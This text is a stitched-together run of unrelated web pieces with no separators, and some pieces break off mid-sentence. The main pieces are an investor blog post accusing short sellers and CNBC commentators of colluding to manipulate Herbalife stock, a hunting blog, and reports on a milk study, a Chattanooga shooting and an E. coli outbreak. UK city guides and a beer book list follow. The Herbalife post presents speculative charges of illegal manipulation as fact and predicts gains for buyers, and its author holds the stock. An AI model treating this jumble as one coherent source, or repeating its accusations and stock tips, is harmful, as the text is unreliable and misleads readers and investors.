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CNBC correspondent Bob Pisani, who reports from the trading floor of the New York Stock Exchange. "You have to use these guys," said Cramer. He also discussed giving information to "the bozo reporter from The Wall Street Journal" to get an article published. Cramer said this practice, although illegal, is easy to do "because the SEC doesn't understand it. " During the interview Cramer referred to himself as a "banking class hero.""
Even though I have traded in the stock market for many years, it wasn't until I recently starting trading stocks using TD Ameritrade's ThinkorSwim trading platform, where I can quickly analyze stock trading over various time periods (day(s), month(s), year(s)) as well as over short intervals (even as short as a minute), that I began to realize how shorts were manipulating the market. Since May 1st of this year when a short attack began against Herbalife (NYSE:HLF), I have been following all of the activity surrounding that company including all news stories as well as all daily trading activity.
Before I began researching the information for this article, I began to see (HLF) trading activity that didn't make sense to me. In fact, it really didn't make sense that two companies under different ownership and management but mainly just sharing the commonality of being MLM's, Herbalife's and Nu Skin's (NYSE:NUS) shares were both attacked at the same time. Here is a link to both company's charts- HLF chart and NUS Chart, where you can see how their share price has traded over the last few months. (SUGGESTION: Use 6 month time period as well as candlestick format for the charts)
Even though I believe there has been manipulation of Herbalife's (HLF) shares on a daily basis, I want to focus on the manipulation that occurred immediately after Herbalife reported Record 2nd Quarter 2012 which I discuss in greater detail in my article- "Herbalife Shorts Shorted More Shares To Stop Upward Share Price Momentum" In order to stop longs enthusiasm and the momentum created by a great 2nd quarter, shorts continued to added 585,409 shares of HLF shorted to their short positions over the period August 1, 2012 to August 15, 2012 to not only stop Herbalife's share price from rising but to also knock it back down by $1.85-
Settlement Date Short Interest Closing Share price 8/15/2012 13,007,577 $53.05 7/31/2012 12,422,168 $54.89
You might think an additional 585,409 shares shorted sounds like a small number of shares shorted since Herbalife has over 100 million shares outstanding. However, when you realize that there was only actually 11 trading days during that time period, and when you also understand that the shorts used computerized selling and buying of shares at opportune times to manipulate the share price, you should understand why they were able to control Herbalife's share price during that time period, to stop the upward share price momentum, and then to drive the share price slightly down.
How it works
This process can be used by hedge funds to either pump up a stock or to trash a stock but since I am using Herbalife as an example, we will discuss that situation. First information is widely distributed to make investors wonder about the company and to put fear into those longs that hold the stock. Next, high volume shorting takes place to drive the company's share price down.
As the short attack continues, more people parade out news to continue to put questions in the back of investors' minds. On a daily basis, shorts use computerized trading to control the direction of the share price. At opportune times, the shorts overwhelm the buyers (bid price) of the stock by selling short large number of shares to drive the share price down and to eliminate the buyers for the stock at that given time. For people who are not familiar with the bid/ask process of trading stocks, here is a link to explain that process.
Shorts need to control the stock's share price over a long time (often several months to well over a year), and can't afford to just accumulate an unlimited number of short positions in the stock, so they have to be buying shares at the same time they are selling shares too. When the shorts drive the share price down, eliminating buyers as discussed above, some of those investors trying to sell their shares at that same time will follow the share price activity downward lowering their ask price.
Now the shorts can buy back some of the shares they have shorted at lower prices including some shares where longs have put stop-loss sale orders to protect against downside losses. The shorts will only buy shares part of the way back up as the share price rises, and then wait to see if new buyers come into the market. If the share price continues to rise up to much again during the day, the shorts will repeat the same selling and buying process to control the share price.
As mentioned above, the shorts need to control the share price over an extended period of time. They need to wear down the longs with rumor mongering as well as by creating fear as the longs continue to see the share price go down from the computerized trading. They hope the longs will give up and sell their shares at the lowest possible share price.
Another observation, shorts try to wear down the longs by making sure that the share price closes down as many days in a row as they can put together. At the close of each day, I witnessed volume dramatically increasing as the shorts tried to insure Herbalife's share price closed down. Shorts are hoping the longs frustration with the share price continuing downward will end up in capitulation where as many longs as possible just give up and sell their shares.
I don't know how low the shorts will drive the share price of Herbalife during this current short attack, but I do believe Herbalife is a strong good growing company. As with all false short attacks, the share price will bounce back. After the share price bottom is reached, I expect the shorts to continue their rumor mongering so they can continue buying to cover their shorts as the share price rises back up.
Since Herbalife is already in its 5th month of being attacked by shorts, and if history repeats itself, anyone buying shares of Herbalife (HLF) at this time should be in for some nice gains over the next 6 to 12 months as Herbalife's share price rises back to and above where it was when this short attack began. The shorts greatest fear is that people will figure out their lies to soon, and the share price will rise up to quickly. I think there is a good chance for that to happen as a lot of people will be learning more about this scheme.
Also I have to believe this manipulation has to involve collusion between all the major players in the Herbalife short attack since it wouldn't work like it has if they didn't work together. If one or more of the major short players decided they didn't want to participate further in driving the share price down, and decided to buy to cover, this would create a major problem for those other major short players. The remaining major short players would not only have to drive the price down based on selling shares to new longs but would also have to sell shares to those other major short players buying to cover their shorts. The remaining short players would not be able to manipulate the stock share price as easy as they did working together.
If you are wondering why would they short more shares even when a company like Herbalife is obviously a healthy growing company. Here is the reason. Since the shorts already have the investment community wondering about problems, introduced by the shorts themselves, concerning the company; since shorts have already shorted $745 Million+ (12,422,168 X $60 per share (my guess at average share price shorts sold their shares at)) shares of Herbalife; and by just adding almost $32 Million (585,409 X $54 average-?) more shares shorted, the shorts were able to take the steam out of a lot of the longs' enthusiasm over the 2nd quarter financial news, and now the shorts believe they will have a better opportunity to buy to cover their shorts at a lower price as well as they will have more time to do so. At least that's what the shorts hope for.
Also from the shorts view, they have offset that additional $32 Million of shorting by reducing the basis of the 12,422,168 shares they already had on their books by an almost $23 Million (12,422,168 X $1.84 share reduction) of increased unrealized gain. On top of trying to obtain direct profits from controlling the share price, and since shorts know more about the direction of the share price, shorts are able to make more profits from selling and buying options. I would have to believe these option profits could run into the millions of dollars too.
As you can see from the large dollar amounts involved in Herbalife's short attack, these must be big players and they must have a lot of influence over the marketplace which brings me to my next subject.
I am really concerned about the investment reporting we are getting from the media especially from CNBC's reporters Jim Cramer and Herb Greenberg. Jim Cramer, who apparently couldn't recommend Herbalife's stock during the last short attack in 2008-2009 which included the same short arguments currently being used, "Herbalife Short Attack: History Repeats Itself."; changed to repeatedly recommending to buy the stock as the stock climbed up to the $70+ range, and then abandoned longs once again by changing to not recommending Herbalife's stock as he tells everyone per this 8/8/12 video "Lightning Round" (see video at 2:50).
It appears Cramer just abandoned those Herbalife longs again including those that purchased their shares based on his recommendation to join his hedge fund buddies that are short Herbalife. Cramer claimed that he couldn't recommend Herbalife based upon a decision made over 4 years ago by Herbalife to not fight a legal battle with Barry Minkow, a convicted felon which his fellow CNBC reporter Greenberg brought to his attention and discusses in his article, "Why Did Herbalife Pay Felon Barry Minkow $300,000?: Greenberg". I have fully explained, in the following linked article, why Herbalife made the decisions they made surrounding this issue and have emailed this information to both Cramer and Greenberg with no change or response by either of them- ""Response To Greenberg: Reasons Why Herbalife Paid Felon Barry Minkow $300,000"
As far as to Greenberg's reporting, I don't know what his connections are to the big hedge funds shorting Herbalife, but I think he seems desperate to come up with "what if this happens" issues to the point that even Per this CNBC 7/31/12 interview of Michael Johnson, Herbalife CEO by Cramer and Greenberg (at 10:18 of video), Johnson seemed puzzled when Greenberg frantically blurted out his last question as if he was trying to search for one last dagger to put in Michael Johnson's back-
Greenberg's question: "You are very big in Mexico- Wal-Mart had problems in Mexico- How do we know you are not paying bribes in Mexico?"
Johnson's response to Greenberg: <laughing> "You are coming from a very interesting place. We got to get you wired for positive."
Other CNBC commentators: <laughing in background> "How was that a follow up for the Avon question?"
How to tell a correctly shorted stock versus a short attack bluff
Since David Einhorn's innocuous questions on Herbalife's conference call seems to be the event that started the short attack on Herbalife, and since Einhorn loves poker, I will use poker terms to explain how you can determine whether a stock is shorted for good reasons or just a bluff.
If you believe you have a winning hand in poker, you want everyone else to put in as much cash as they possible can. You don't want to tip them off in any fashion that you have the winning hand. You want the pot to as big as possible when you show your hand. If you don't have a good hand and are bluffing, you need to be sneaky putting in bets when you really know you don't have a good hand hoping that the other players fold their winning hands. You don't even want others to put more cash in the pot since you want them to drop out of the game.
First you need to understand that the object for shorts is selling as high as they can and then buying as low as they can if they have to cover their short position. For those of you who are not familiar with selling stock short, here is a link to explain short selling. Also when longs are selling their positions, they will always try to sell their shares at the highest price they can get.
If you knew a company's share price was really overpriced for any reason, you would not do anything to tip anyone else off until you had shorted all the shares you could. Then, given the right opportunity to show your hand, you would explain your position as to why the shares were over priced in a logical fashion. Yes, there would be other shorts jump in to help drive the share price down but it wouldn't necessarily be about driving the share price down based mainly upon high volume trading. You would be ok with longs coming into the market to drive the share price up (more cash in the pot) since it would give you more of an opportunity to short at a higher price before your real prediction came true.
If you were a short bluffing (basically manipulating a shares' price) about a company's overvalued share price, you might not want to draw attention to yourself since you could get accused of stock manipulation so you would hope (or plan for) others to get involved and to present seemingly good reasons to short the stock. You would want to put as much fear into longs as possible and would use high volume short trading as well as buying to drive the share price down as low as you can and as long as you can. You really want the longs to fold and to get out of the game. If you are consistently seeing sellers overwhelming buyers driving a share price down as a stock seems to be going up, I can assure you it's probably shorts selling since longs are totally motivated to sell their shares at the highest possible selling price.
Here is what one stock investment reporter from one of America's premier financial magazines, who had wrote some articles about Herbalife's situation which I disagreed with, emailed me (I will not give his name out as I don't want to cause him problems.)-
"I'm no lawyer but doesn't it reek of stock manipulation? I would think so. A lot of hedge-fund types I come across are skittish about appearing in the media whatsoever, much less being portrayed (correctly) as tanking a stock. It could be as simple as a (well-advised) desire to not invite more regulatory scrutiny."
I believe that stock market manipulation by big players is a major problem. I know this article focuses on one stock, but just like cockroaches, if you can find one, I am sure there are a lot more out there. The only way we are going to make changes in this society is to make as many people, especially our elected officials, aware of this problem as we can. I am sure this problem steals money from the vast majority of our investments and retirement programs. If you agree with me, and you want to help me try to do something about this problem, by getting the word out, please email this article, post to facebook, twitter, LinkedIn, etc. links to this article, of my blog, to as many people as you can.
As for me, I am long HLF shares and I still believe that Herbalife shares are a great buy as per my article, "Herbalife Shorts' Problems Could Be Great Buying Opportunity For Longs".
Disclosure: I am long HLF.September 21, 2016 Hunting Theory, Hunting Tips
The total number of hunters is down, peaking at 16.8 million in 1982. In 2015, there were 15 million hunters. Even though the numbers have declined over the last 30 years, they have remained stable over the last decade.
Hunters make up a declining percent of the population as more and more people move into the more popular urban areas. City folk don’t easily become hunters. The hours it takes them to get through traffic and out of town, the sun will already have set and they’ve missed an afternoon hunt. Instead, the majority of them will hit up the hipster bars downtown drinking craft beer. Hunting is hard life when you live in the city.
So should we care about the decline in hunters? Absolutely we should. We have more women than men in this country and 40 percent of the population are minorities. We need to convert these women and minorities into hunters. All of my hunting partners are all white males and the same is true for the majority of hunting shows. Today’s hunters need to make sure these city folk turn from their anti-hunting mentality.
Anti-hunters need to realize that hunters and anglers foot the bill for most wildlife conservation in this country. In fact, the $100 I just spent for my hunting license will go to conservation in my home state of Kentucky. I’ll also give my excise tax when I buy ammo or fishing tackle.
There has to be a better way to speak to non-hunters. The future of hunting depends on today’s hunters and non-hunters.
The numbers above are compiled by U.S. Fish and Wildlife Service.
Leave a commentA high milk intake in women and men is not accompanied by a lower risk of fracture and instead may be associated with a higher rate of death, suggests observational research published in The BMJ this week.
This may be explained by the high levels of lactose and galactose (types of sugar) in milk, that have been shown to increase oxidative stress and chronic inflammation in animal studies, say the researchers.
However, they point out that their study can only show an association and cannot prove cause and effect. They say the results "should be interpreted cautiously" and further studies are needed before any firm conclusions or dietary recommendations can be made.
A diet rich in milk products is promoted to reduce the likelihood of osteoporotic fractures, but previous research looking at the importance of milk for the prevention of fractures and the influence on mortality rates show conflicting results.
So a research team in Sweden, led by Professor Karl Michaëlsson, set out to examine whether high milk intake may increase oxidative stress, which, in turn, affects the risk of mortality and fracture.
Two large groups of 61,433 women (aged 39-74 years in 1987-1990) and 45,339 men (aged 45-79 years in 1997) in Sweden completed food frequency questionnaires for 96 common foods including milk, yoghurt and cheese.
Lifestyle information, weight and height were collated and factors such as education level and marital status were also taken into account. National registers were used to track fracture and mortality rates.
Women were tracked for an average of 20 years, during which time 15,541 died and 17,252 had a fracture, of whom 4,259 had a hip fracture.
In women, no reduction in fracture risk with higher milk consumption was observed. Furthermore, women who drank more than three glasses of milk a day (average 680 ml) had a higher risk of death than women who drank less than one glass of milk a day (average 60 ml).
Men were tracked for an average of 11 years, during which time 10,112 died and 5,066 had a fracture, with 1,166 hip fracture cases. Men also had a higher risk of death with higher milk consumption, although this was less pronounced than in women.
Further analysis showed a positive association between milk intake and biomarkers of oxidative stress and inflammation.
In contrast, a high intake of fermented milk products with a low lactose content (including yoghurt and cheese) was associated with reduced rates of mortality and fracture, particularly in women.
They conclude that a higher consumption of milk in women and men is not accompanied by a lower risk of fracture and instead may be associated with a higher rate of death. Consequently, there may be a link between the lactose and galactose content of milk and risk, although causality needs be tested.
"Our results may question the validity of recommendations to consume high amounts of milk to prevent fragility fractures," they write. "The results should, however, be interpreted cautiously given the observational design of our study. The findings merit independent replication before they can be used for dietary recommendations."
Michaëlsson and colleagues raise a fascinating possibility about the potential harms of milk, says Professor Mary Schooling at City University of New York in an accompanying editorial. However, she stresses that diet is difficult to assess precisely and she reinforces the message that these findings should be interpreted cautiously.
"As milk consumption may rise globally with economic development and increasing consumption of animal source foods, the role of milk and mortality needs to be established definitively now," she concludes.Police respond to a shooting at Miller Auto Sales. Police respond to a shooting at Miller Auto... Photo by Angela Lewis Foster /Times Free Press.
Chattanooga police are currently responding to two shootings.
Around 1:53 p.m. a masked black man entered Miller Auto Sales at 4314 Rossville Blvd. with a gun and attempted to rob the business.
The person who was working shot the suspect twice in the chest, police said. The shooter has not been identified by police.
The suspect, who also has not been identified, is in surgery, said Sgt. Scott Bales. He said that there were two other witnesses to the robbery who were in the shop at the time.
Bales added that it's too early to say whether or not the shooting was justified.
Larry Essex, a customer at Miller Auto Sales, said that the owner of the shop always kept a gun handy. He said robberies happen often near Rossville Blvd and that he doesn't blame the worker for shooting the would-be robber.
"I'd have shot him too," he said.
The second incident was reported in College Hill Courts around 1:40 p.m., police said. A black man was shot once and taken to a hospital for non-life threatening wounds.
A potential suspect is in custody in that case, police said.
The two incidents are unrelated, said Lt. Glenn Scruggs.
Stay with the Times Free Press for updates on this developing story.You don’t have to go abroad to experience a relaxing city break. We've pulled together Sunday Guides to three UK cities to demonstrate how you can relax and unwind amidst the hustle and bustle of city life.
Manchester
It may not be the first place that you consider for a relaxing weekend away, but there is plenty to do in Manchester that doesn’t involve touring football stadiums and dancing into the early hours of the morning. All around the city centre you will find a network of delightful hidden passageways, independent shops and eateries, and a scattering of intriguing new architecture mixed among the old. Read on as we suggest how to spend a relaxing Sunday without having to negotiate the bustle of Market Street.
Stay //
Nestled inside a former bank building in the heart of the city, Hotel Gotham is one of the city's newest boutique hotels and it's second five-star offering, opening less than a year ago to critical acclaim. The Art Deco-inspired interiors play upon the buildings history; briefcases, typewriters and money bags used as decorations, light-fittings and laundry bags for a fun nod to the many years that the Midland Bank was located here.
Make your way up to the rooftop private bar in the evening to sit out on one of the roof terraces and enjoy the view of the sun setting over the city.
photo: hotelgotham.co.uk
Visit //
The historic Whitworth Art Gallery reopened earlier this year to critical acclaim, boasting a £15 million investment, new gallery spaces and a series of exciting exhibitions. The unique setting of the gallery in the grounds of a park allows for an accompanying sculpture garden in the grounds and an impressive café with floor-to-ceiling windows that creates the impression that diners are eating amongst the trees. Recent exhibitions have included the likes of Cornelia Parker and Cai Guo-Qiang, with an exciting programme to look forward to in 2016.
photo: whitworth.manchester.ac.uk
Wander //
Yes, Manchester has a secret marina! New Islington is the area just to the north of the popular Northern Quarter, where property developers have been busy converting disused wasteland and old mills into the city’s most exciting and as yet mostly undiscovered new neighbourhood. Three canals (one of them created especially for the development) and a city park pull the area together, providing space to sit and relax or stroll around and admire the boats that have begun to moor here.
Minutes away in neighbouring Ancoats, you’ll find a scattering of new restaurants and bars, including The Cutting Room and the soon-to-open Seven Brothers craft beer bar. With plans on the horizon to continue to develop the area into a city centre hub for socialising, relaxing and living, now is the time to discover New Islington.
Rest //
You’ll be spoilt for choice for where to sit and relax with a cup of coffee in Manchester. Over the past year, an abundance of stylish coffee shops have sprung up across the city to accompany the likes of North Tea Power and Takk that have been local favourites for some time. There’s the original Grindsmith eco-pod on Greengate Square that’s great for coffee on the go, and the more recent addition of their Deansgate bricks and mortar coffee house.
Pot Kettle Black in Barton Arcade is a firm favourite for their attention to detail, with each cup served on a small silver tray with an accompanying glass of water and wafer biscuit. If you only have time for one coffee, however, ensure that you visit Foundation Coffee House on Lever Street. Their fusion of slick minimal interiors and delicious coffee is not to be missed.
photo: foundationcoffeehouse.co.uk
Read //
Manchester is home to four stunning libraries, all with a rich history. Central library, at the top of Oxford Road, reopened earlier this year beautifully refurbished whilst retaining all of its original features. Chethams is one of the oldest public libraries in the entire country, with plenty of long dark corridors to explore and a vast collection of 19th Century literature to discover.
Then there is the grand John Rylands neo-Gothic library to discover, its historic reading room the showpiece of the building. Finally, seek out The Portico, hidden away above The Bank public house on Mosley Street. The library itself is only open to members, but a public exhibition space below an intricately decorated dome showcases both local art and exhibits with a literacy theme. All four buildings are the perfect place to while away several hours away from the city centre crowds.
Watch //
The Cornerhouse gallery, cinema and café was a beloved institution in Manchester that sadly shut its doors earlier this year. Its spirit was thankfully kept alive in the brand new arts and culture venue, HOME, which combines all of the elements of the former Cornerhouse with the theatrical expertise of the former Library Theatre. Beautifully designed, the building plays host to a large gallery space alongside several smaller exhibitions along corridors and between floors.
The first-floor restaurant is the perfect place to eat before catching a film or play, but our favourite spot in the building has to be the outdoor roof terrace, where you can relax with a drink and watch the world go by from above.
Try //
It may be a half-hour tram journey out of the city centre (and technically in Cheshire), but Altrincham Market has been attracting attention this year for all of the right reasons, earning the title of Best Market in the UK by Observer Food Monthly. Refurbished towards the end of 2014, the indoor market hall has been transformed into a dining space with communal benches surrounded by permanent artisan eateries serving everything from wood-fired pizzas to loose-leaf herbal tea.
The adjoining outdoor covered market is open five days a week with a variety of stall owners selling their wares, and occasionally musical performances. Sunday markets are themed weekly, often including local creatives and delicious food. Be warned that the market gets busy around lunch time, and that the best time to arrive for a peaceful Sunday browse is around the opening time of 10am.
Eat //
You’ll find every kind of cuisine imaginable in Manchester, with a new restaurant seemingly popping up every week. But if it is a fine dining experience that you are seeking, make a reservation at Manchester House to sample Head Chef Aiden Byrne’s exquisite tasting menu. Choose from either the 8 or 15 course menu and be prepared to be astounded by not only the surprising flavour combinations, but by the impeccable presentation. After dinner, take your drinks outside to the roof terrace to admire the lights of the city below.
photo: manchesterhouse.uk.com
Play //
As you would expect from a city that once boasted one of the country's most legendary clubs (The Hacienda), Manchester has plenty of options when it comes to drinking and dancing, whatever your taste. Seek out the most vibrant scene in the back streets of the Northern Quarter, known for its independent bars and gig venues. Head to Stevenson Square to discover a variety of cocktail, tiki, subterranean and hidden speakeasy bars, including GBA, Soup Kitchen, Hula, The Fitzgerald and Dusk Til Pawn.
If the idea of stumbling across hidden bars is tickling your fancy, give The Washhouse a call and leave a message stating how many 'loads' you wish to book in, then head to Shudehill to seek out the bar hidden behind a faux launderette.
photo: designmynight.com
Edinburgh
Head up north of the border to Scotland and spend a long weekend enjoying the fusion of cobbled streets, gourmet restaurants and spectacular scenery that Edinburgh has to offer. You'll find the best of both worlds here, with the abundance of fresh air and old stone buildings creating the impression that you're exploring a much smaller town, but plenty of luxury eateries, boutiques and spas to satisfy dedicated urbanites.
Stay //
Perfectly located in the heart of the city’s historic Old Town, Hotel Du Vin is situated in the unusual choice of a former asylum. Don’t let the history of the building put you off, as the four-star luxury accommodation is one of the most stylish in the city. Bedrooms retain original features, roll top baths offer the opportunity for tranquil soaking and Egyptian cotton sheets line the beds.
photo: hotelduvin.com
Wander //
If you’re in need of fresh air, slip into a comfortable pair of shoes and head out for a brisk walk to the summit of Arthur’s Seat. There’s not many European cities that boast an extinct volcano in their centre, making the domineering feature of Edinburgh’s landscape an anomaly begging to be explored. Located within leafy Holyrood Park, Arthur’s Seat is a relatively easy climb, and you will be rewarded with breath-taking views over the city once you reach the top.
Work //
If you have to take your work with you, there are plenty of cafes to choose from to settle down with your laptop for a couple of hours. Head straight to Brew Lab to find the city’s best coffee to fuel you whilst you work, with two filter coffees brewed fresh every day. There’s unlimited free wifi, so settle down on one of the well-loved leather sofas and keep ordering fresh cups of coffee as you work.
photo: brelabcoffee.co.uk
Wear //
Wrap up warm and don’t forget waterproofs; Edinburgh is not known for its sunny weather. Ensure your mahabis are packed and ready for cosy evenings in by the fire.
Rest //
After a busy morning exploring Edinburgh’s winding streets, retreat to One Spa at the Edinburgh Sheraton Hotel for a relaxing spa experience. The epitome of luxury, the spa offers a diverse selection of treatments and rooms, including a rooftop hydropool, a thermal suite, mud treatments, rainforest showers and fragrant steam rooms. If you have time, indulge in the recommended 11 step process, which guides guests throughout the spa with ultimate relaxation in mind.
photo: onespa.com
Try //
Plan your visit for August to coincide with the world-famous Edinburgh Festival, the largest and most extensive arts festival in the world. Whether you choose to sample the highbrow official festival, with its diverse programme of classical music, theatre and dance, or the ever popular Fringe Festival, it’s essential to book in advance to secure tickets and accommodation during this busy period where the streets of the city come to life with musicians, dancers and marching bands. The diverse programme features over 50,000 performers ranging from comedians to circus performers and poets, supplying something of interest for absolutely everyone.
Read //
You’re spoilt for choice when it comes to selecting a book to enjoy during your time in Edinburgh; the city is famed for its diverse calibre of authors including Robert Louis Stevenson, Arthur Conan Doyle and Irvine Welsh. JK Rowling also famously wrote her Harry Potter series from the comfort of the cities many cafes. We recommend picking up an Inspector Rebus tome by Ian Rankin, as the author delves into the cities hidden streets and alleyways with such detail that there are specific tours that visit the destinations that he details.
Eat //
Head to Gardener’s Cottage for an evening meal in an unusual setting, located within a quaint country cottage right in the centre of the city. The atmosphere is that of an informal gathering of friends, with two small rooms dominated by communal tables and lit by candlelight. The menu changes regularly, based on fresh ingredients grown on an organic garden just outside the city.
photo: thegardenerscottage.co
Play //
After dinner, Edinburgh’s infamous nightlife is begging to be sampled, with an array of traditional pubs, eclectic hang-outs and stylish cocktail bars just waiting to be discovered. As you are in Scotland, you should ensure that you sample some local whiskey, and cosy local favourite bar, Devil’s Advocate has one of the most comprehensive whiskey selections in the city.
Hidden down a narrow alley opposite St Giles’ Cathedral, the huge outdoor terrace is a big pull in the summer months, but the warm and welcoming interior is just as impressive. Treat yourself to an inventive whiskey cocktail (we recommend the ’Howitzer’) and spend the night relaxing in style.
photo: devilsadvocateedinburgh.co.uk
Bristol
Full of character, history and it's own unique identity, Bristol offers a rich and diverse display of art, culture and architecture to discover. Known for being a European Green Capital and for its sustainability status, it's no surprise that there are a variety of outdoor spaces in which to enjoy the fresh air and get away from the bustling city streets. Ensure that you plan your visit to explore all of the different areas of the city, all of which offer a unique view into Bristol life.
Stay //
Rather than resting your head in a busy hotel, why not treat yourself to a stay in a luxury serviced apartment where you have more privacy, kitchen facilities and outdoor space to enjoy? The Berkeley Suites are located within a Georgian townhouse in the exclusive Clifton area of the city, offering all of the services associated with a stay in a luxury hotel including room service and a laundry service. Expect stylish and modern interiors, Egyptian cotton sheets, monsoon showers and a welcome basket full of fresh fruit, coffee and biscuits to make your stay as comfortable as possible.
Wander //
Home to Banksy and many other world-famous and up-and-coming artists, Bristol is famed for its abundance of prolific street art. Much more than mere graffiti, this is more akin to the art that you see hanging on the walls in contemporary art galleries, albeit often with obvious political messages attached. Head to Stokes Croft to seek out a riot of colourful art decorating the walls of buildings, ensuring that you stop to admire Banksy's Mild Mild West mural next door to The Canteen.
Don't neglect the art covering the rest of the city, however. Bedminster and North Street are street-art hot-spots, thanks to the yearly Urban Paint Festival which leaves giant murals on the exterior walls of cafes and bars.
photo: trover
Explore //
Discover one of Europe's leading contemporary arts centres on the edge of the Harbourside area of the city.There's plenty of options for whiling away a relaxing afternoon at Arnolfini, including visual arts, dance, film, music and theatrical events. The centre boasts five exhibition spaces, an auditorium housing cinema and theatre spaces, a reading room, a bookshop containing an extensive collection of arts tomes, and a locally renowned cafe serving seasonal produce.
photo: arnolfini.org.uk
Rest //
Nestled inside a Georgian courtyard in the centre of Clifton, The Lido is the perfect place to unwind and spend a couple of hours of downtime. The spa specialise in massages, utilising their own brand of essential oils, tailor-made for your specific needs. Alongside the spa treatments, you'll discover a heated outdoor pool, sauna, hot tub, steam room and pool-side restaurant where you can sit outdoors in summer.
photo: lidobristol.com
Read //
If you're seeking a read that reminds you of Bristol's history as a port, association with voyages to America and tales of piracy, look no further than Robert Louis Stevenson's iconic tome, Treasure Island. The Harbourside area of the city is now thriving with museums, galleries, restaurants and bars, but it's not hard to imagine the ramshackle collection of taverns as detailed in the book.
Visit //
The leafy and elegant area of Clifton is filled with independent boutiques, cosy little cafes and beautiful Georgian buildings, as well as playing host to one of the city's most famous landmarks. No visit to Bristol is complete without taking a stroll over the iconic suspension bridge and admiring the view of the River Avon down far below and the edge of Leigh Woods Nature Reserve nestled on the other side of the gorge. To the north of Clifton you'll find yourself in the ambient surroundings of The Downs, giving the impression that you have stumbled across a piece of the countryside within the city.
Try //
Bristol is one of the best areas of the UK in which to take to the skies and admire the view from above in the comfort of a hot air balloon. Visit during August to experience the International Balloon Fiesta, where over one hundred colourful balloons simultaneously take to the skies in flight. Ensure that you book a balloon flight well in advance to secure a place, and don't miss the spectacular Nightglows, where the balloons light up the night sky preceding a dramatic firework display.
photo: visit britain
Eat //
The menu may be small at The Canteen, but the food is delicious and extremely reasonably priced. Located in the hip Stokes Croft area of the city, this is where locals like to meet to perch on the long communal tables, listen to free live music and get their fix of healthy freshly-made dishes. All main meals are preceded with complimentary vegetable soup and crusty bread, with the main menu changing daily to reflect the organ |
bloody diarrhoea and kidney failure, the Robert Koch Institute said.
Spain is seeking compensation after German authorities initially alleged a link between Spanish vegetables and the deadly strain of bacteria, causing sales to collapse. The loss of earnings for affected farmers in Spain has been estimated at more than 200 million euros ($290 million) per week.
The European Commission lifted its warning over the Spanish cucumbers on Wednesday, saying tests "did not confirm the presence of the specific serotype (O104), which is responsible for the outbreak affecting humans."
Spanish Prime Minister Jose Luis Rodriguez Zapatero said Spain would "seek reparations before the relevant authorities in Europe".
In an interview with Spanish national radio, he said: "Yesterday, it became clear, with the analyses carried out by the Spanish agency for food safety, that there is not the slightest indication that the origin of the serious infection is any Spanish product.
"Now we have a very ambitious task ahead of us, which is to recover our good reputation as soon as possible and the trade in all Spanish products."
Mr Burger said German authorities had tried to balance risks when they wrongly blamed Spanish farms. He said the authorities had to act quickly - even though the conclusion later turned out to be wrong.
Health advice Wash fruit and vegetables before eating them
Peel or cook fruit and vegetables
Wash hands regularly to prevent person-to-person spread of E. coli strain Source: UK Health Protection Agency Q&A: E. coli outbreak
"We wanted to avoid new infection sources. It's a difficult balance," he said. "You don't want to wait a long time and on the other hand you don't want to cry wolf."
In addition to Germany, cases of EHEC have also been reported in eight other European countries - Austria, Denmark, the Netherlands, Norway, Spain, Sweden, Switzerland and the UK.
Virtually all the sick people either live in Germany or recently travelled there.
Several countries have taken steps to curtail the outbreak, such as banning cucumber imports and removing the vegetables from sale.
Health authorities have also advised people to wash fruit and vegetables thoroughly, to do the same with all cutlery and plates, and to wash their hands before meals.Christmas is upon us, and Brews News has you covered with this selection of beer books that could make the perfect gifts for discerning drinkers.
The Pub
British beer writer Pete Brown has travelled to hundreds of pubs across the UK, and through his experience and knowledge of beer and pubs has written about the best pubs that ooze the atmosphere beer lovers crave. This collection of 300 pubs include 50 pub features and 250 smaller descriptions, alongside quirks of local history, pen portraits of punters or publicans, legends, yarns and myths, and case studies of different trends and types of pub. Get it here.
The Audacity of Hops
The revised and expanded edition of Tom Acitelli’s The Audacity of Hops: the history of America’s craft beer revolution is the most comprehensive telling yet of the American craft beer movement in the United States – and now the world. The nation has more than 5,000 breweries as of the end of 2016, and the U.S. is now the world’s leading nation in terms of style, quality, and experimentation, similar in stature to what France is to wine.
Buy it here.
6 O’clock Brews
This is a continuation, extension and amplification of Peter Symons Bronzed Brews, which covered the history of Australian brewing, ingredients and processes from the early 19th century to the 1970s. The second book includes further research into brewing history, stories from the past and 54 old recreation recipes. And, after being granted rare access to Cooper’s Brewery archives, he documents the evolution of Cooper’s beers over the last 100 years. Pick up the book online here.
Tasting Beer 2nd edition
The second edition of Randy Mosher’s book has been comprehensively updated with new beer styles, sensory tutorials and content tailored to students of the Cicerone program. It also features an expanded beer glossary and completely re-written chapters on beer and food and beer style updates. And this time Mosher dives deeper into the neurobiology of our sensory systems, as well as the components of taste and mouthfeel, and how they relate to a beer’s flavour. Check out Brews News’ full review here.
Bygone Breweries of NSW – The Central Western District
The product of painstaking research by Brews News’ own Brett J. Stubbs, this is the second installment in the Bygone Breweries series. Stubbs discusses the integral role of the gold rush in driving brewery openings in the regional NSW towns of Lithgow, Bathurst and Orange, along with 20 other localities. Similar competitive pressures to those faced by small brewers today are repeatedly nominated as the cause of consolidation that saw brewing disappear from the Central West by the mid-1950s. Check out Brews News’ full review here.
Ribs
A comprehensive collection of recipes, tips and techniques from barbecue aficionado Adam Roberts. Appropriate for cooks with all levels of expertise, it covers different rib types, marinades, rubs and cooking methods for both indoor and outdoor kitchens, using a range of common fuels such as charcoal, direct heat and oil. Each chapter in the book covers a different type of meat, including pork, lamb, beef and chicken ribs, with a separate chapter devoted to leftovers. Pick up the book here.
This is Not a Wine Guide
Award-winning sommelier Chris Morrison has created a new kind of wine guide that helps you decide the best wine decision based on your own sense of taste – and by the way you like to eat, drink and live. This Is Not A Wine Guide is packed with information and advice to help you get the most out of your wine experience and develop the confidence to choose, purchase, serve, share and ultimately even collect wine, based on personal preference, with a key focus on getting the most out of wine and food pairings.
Pub Yarns
In Pub Yarns, photographer Colin Whelan details his journey across Australia to some of the most classic and community-centred pubs in the country, sharing the marvellous stories of their heritage and the characters he uncovered. Visiting just over 50 outback and country pubs nationwide, Whelan details the stories not only of the pub itself but the culture of the community that forms the Australia identity.
Lonely Planet’s Global Beer Tour
Lonely Planet has worked with a worldwide network of beer-loving travel writers to select the greatest taprooms and bars thirsty travellers can visit in more than 30 countries across Africa, the Americas, Asia, Europe, and Oceania, including Australia. The authors suggest a must-try beer for each brewery and also the local sights in the area so ‘beer tourers’ can explore more than just the beer. Get the book here.The European Commission has agreed to extend a credit line of
1.7 billion euros to bolster Bulgarian banks.
